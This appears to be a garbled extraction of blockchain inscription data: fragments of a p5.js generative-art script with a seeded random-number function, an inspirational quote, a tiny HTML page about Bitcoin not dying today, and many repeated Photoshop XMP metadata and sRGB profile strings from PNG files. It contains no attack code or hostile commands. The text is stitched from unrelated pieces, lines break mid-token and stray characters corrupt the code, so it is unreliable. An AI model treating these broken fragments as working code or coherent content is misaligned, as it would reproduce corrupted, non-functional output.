                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return M
$ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            overflow: hidden;
            margin: 0;
            padding:M
            display: flex;
            justify-content: center;
            align-items: center;
            min-width: min(100vw, 100vh);
            min-height: min(100vw, 100vh);
            max-width: min(100vw, 100vh);
            max-height: min(100vw, 100vh);
<script type="text/javascript">
    const rand=mathRand();let fondo,relleno,gradualidad,velocidad,escalamiento,grosor,num2,vinotinto,blanco,negro,verdeoscuro;function setup(){randoM
mSeed(9999*mathRand()),createCanvas(1e3,1e3),angleMode(DEGREES),gradualidad=int(random(6,355)),180!=gradualidad&&179!=gradualidad&&181!=gradualidad&&89!=gradualidad&&90!=gradualidad&&91!=gradualidad&&299!=gradualidad&&300!=gradualidad&&301!=gradualidad&&269!=gradualidad&&270!=gradualidad&&271!=gradualidad&&69!=gradualidad&&70!=gradualidad&&71!=gradualidad&&239!=gradualidad&&240!=gradualidad&&241!=gradualidad||(gradualidad+=4),console.log(gradualidad),lineacolorizada=color("rgba(255,254,254,0.3)");let o=random([1,2,M
3,4,5,6,7,8,9,10,11,12,13]);console.log(o),1==o&&(relleno1=color("#4703014C"),relleno2=color("#6908034C")),2==o&&(relleno1=color("#8E0E0F4C"),relleno2=color("#6F34304C")),3==o&&(relleno1=color("#9D5E594C"),relleno2=color("#B160734C")),4==o&&(relleno1=color("#B683804C"),relleno2=color("#DE9C794C")),5==o&&(relleno1=color("#2B524F4C"),relleno2=color("#1434314C")),6==o&&(relleno1=color("#3630624C"),relleno2=color("#49317E4C")),7==o&&(relleno1=color("#9F82AA4C"),relleno2=color("#92799C4C")),8==o&&(relleno1=color("#C76E7M
74C"),relleno2=color("#B8656E4C")),9==o&&(relleno1=color("#AF292A4C"),relleno2=color("#710D004C")),10==o&&(relleno1=color("#01343E4C"),relleno2=color("#00687A4C")),11==o&&(relleno1=color("#5A52814C"),relleno2=color("#6E5E914C")),12==o&&(relleno1=color("#49014A4C"),relleno2=color("#702D364C")),13==o&&(relleno1=color("#A549564C"),relleno2=color("#924C0F4C")),velocidad=.005,console.log(velocidad),puntoY=random(400,500),console.log(puntoY),escalamiento=3,grosor=2.5,console.log(grosor)}function Linea_libre_valorizada(){M
fondo=random([0,1]),relleno=0==fondo?relleno1:relleno2;let o=puntoY;push();for(var l=0;l<=1500;l+=5)translate(width/2,height/2),rotate(gradualidad),translate(-width/2,-height/2),stroke(lineacolorizada),strokeWeight(grosor),line(l,o,0,0),push(),strokeWeight(grosor),fill(relleno),rect(l,o,100*escalamiento),pop();pop()}function draw(){background(relleno2),Linea_libre_valorizada(),gradualidad-=velocidad}
text/plain;charset=utf-8
The greatness of a man is not in how much wealth he acquires, but in his integrity and his ability to affect those around him positively.
2iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-02-13T12:01:45-08:00" xmp:ModifyDate="2023-02-13T12:06:32-08:00" xmp:MetadataDate="2023-02-13T12:06:32-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:1c0e2bb0-33ac-0e41-9783-d7b50b6df467" xmpMM:DocumentID="adobe:docid:photoshop:fafc43b3-d6ec-b14e-838b-890de060fd2e" xmpMM:OriginalDocumentID="xmp.did:c509ba1a-ab8d-b84c-ab5f-7315dae9e3c3"> <xmpMMM
:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:c509ba1a-ab8d-b84c-ab5f-7315dae9e3c3" stEvt:when="2023-02-13T12:01:45-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:1c0e2bb0-33ac-0e41-9783-d7b50b6df467" stEvt:when="2023-02-13T12:06:32-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </M
rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
S33333333333333333333333333333B
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffhCz
S3333333333333333333333333333333333333333333333333333333333333333333333333333332
UUUUUUUUUUUUUUUUUUUUQ
ScUUUUUUUUUUUUUUUUUG
YUUUUUUUUUUUUUUUUUUF
ffffffffffffffffffeh
-UUUUUUUUUUUUUUUUUUUM
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
2iTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 137.da4a7e5, 2022/11/27-09:35:03        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xapM
/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 24.1 (Windows)" xmp:CreateDate="2023-02-13T12:01:59-08:00" xmp:ModifyDate="2023-02-13T12:06:53-08:00" xmp:MetadataDate="2023-02-13T12:06:53-08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:c387b6e9-34b5-9144-9684-93d5c5870db9" xmpMM:DocumentID="adobe:docid:photoshop:2b623ee3-c234-1943-9cdb-94825f3ce074" xmpMM:OriginalDocumentID="xmp.did:2b545f79-ccbb-d744-bdbf-74dd1bf92cd2"> <xmpMMM
:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:2b545f79-ccbb-d744-bdbf-74dd1bf92cd2" stEvt:when="2023-02-13T12:01:59-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)"/> <rdf:li stEvt:action="converted" stEvt:parameters="from application/vnd.adobe.photoshop to image/png"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:c387b6e9-34b5-9144-9684-93d5c5870db9" stEvt:when="2023-02-13T12:06:53-08:00" stEvt:softwareAgent="Adobe Photoshop 24.1 (Windows)" stEvt:changed="/"/> </M
rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>W
 d740ee599eb1945f50ffc2c2ac2eb493G0D
 4ba3ef71f33a440c7e5d291985b45fd1G0D
 0f1effba293055f5d80c25e4c885d9ccG0D
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:91B8879EA8AE11EDB7A8C7CB007691D0" xmpMM:InstanceID="xmp.iid:91B8879DA8AE11EDB7A8C7CB007691D0" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
<!DOCTYPE html><html><style>body{font-size:5vw;color:#fff;background:#fff;text-align:center}div{height:40vh;background:#F7931A;line-height:20vh;}</style><body><div><p><span id="datetime"></span>
itcoin Die Today?<br>No</p></div></body><script>;var dt=new Date();document.getElementById('datetime').innerHTML=(('0'+(dt.getMonth()+1)).slice(-2))+'/'+(('0'+dt.getDate()).slice(-2))+'/'+(dt.getFullYear());</script></html>h!
FjDOUT:463FEBE3706B288DE28192308CFFB112909414391E476E211EF9F3B5E23727C2
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
ginalDocumentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8" xmpMM:DocumentID="xmp.did:C188B120A2AA11EDB7F8AC09FDCDBA1A" xmpMM:InstanceID="xmp.iid:C188B11FA2AA11EDB7F8AC09FDCDBA1A" xmp:CreatorTool="Adobe Photoshop 24.1 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8b0b88a7-0c67-4fcd-abf6-43c378ee4ace" stRef:documentID="xmp.did:0bfa225b-0ec8-42e7-813f-662090d104d8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
xiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.0-c000 79.da4a7e5ef, 2022/11/22-13:50:07        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriM
